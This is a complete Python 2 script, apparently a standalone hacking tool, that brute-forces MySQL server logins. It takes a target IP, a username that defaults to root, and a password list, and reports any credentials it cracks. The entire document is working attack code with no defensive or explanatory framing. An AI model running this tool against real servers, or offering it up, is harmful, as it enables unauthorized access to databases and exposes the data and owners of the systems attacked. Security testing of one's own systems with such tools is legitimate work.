MySqlBrute.Py

    #!/usr/bin/python
    #
    # simple mysql bruter

    import time
    import sys
    import argparse
    import MySQLdb
    from datetime import datetime

    def mysql_brute(ip,username,passlist):

            valid = False
            counter = 0
            starttime = datetime.now()
            with open(passlist) as pl:
                    for pwd in pl:
                            counter += 1
                            try:
                                    pwd = pwd.rstrip()
                                    connect = MySQLdb.connect(host=ip, user=username, passwd=pwd)
                                    if connect:
                                            valid = True
                                            print "\n[+] VALID CREDENTIALS FOUND!! %s / %s"  % (username,pwd)
                                            print "[+] MySQL Version %s" % MySQLdb.get_client_info().rstrip()
                                            connect.close()
                                            time.sleep(1)
                                            break
                            except MySQLdb.Error, e:
                                    print "[-] FAILED!! %s / %s" % (username,pwd)
                                    time.sleep(1)

            # show stats
            runtime = datetime.now()-starttime
            print "\n[+] Checked %s passwords in %s" % (counter,runtime)

            if valid == False:
                    print "\n[-] No valid credentials found. Exiting...\n"
                    sys.exit(1)
            else:
                    print "\n[+] Finished. Valid credentials found. Exiting...\n"
                    sys.exit(1)

    if __name__ == '__main__':

            try:
                    # program arguments
                    parser = argparse.ArgumentParser(description="MySQL Bruter")
                    parser.add_argument('-i', action="store", dest="ip", help="Target IP address")
                    parser.add_argument('-u', action="store", dest="username", help="MySQL username (default root)")
                    parser.add_argument('-p', action="store", dest="passlist", help="Path to password list")
                    parser.add_argument('-v', action='version', version='%(prog)s 1.0 - Matt Jones')
                    args = parser.parse_args()

                    if not args.ip or not args.passlist:
                            print "\nFor help run ./mysqlbrute.py -h\n"
                    else:
                            ip = args.ip
                            # if no username default to root
                            if args.username:
                                    username = args.username
                            else:
                                    username = 'root'
                            passlist = args.passlist

                            # launch attack
                            print "\n[+] Bruteforcing host %s\n" % ip
                            mysql_brute(ip,username,passlist)

            except KeyboardInterrupt:
                    print "\n[+] Quiting\n"
                    sys.exit(1)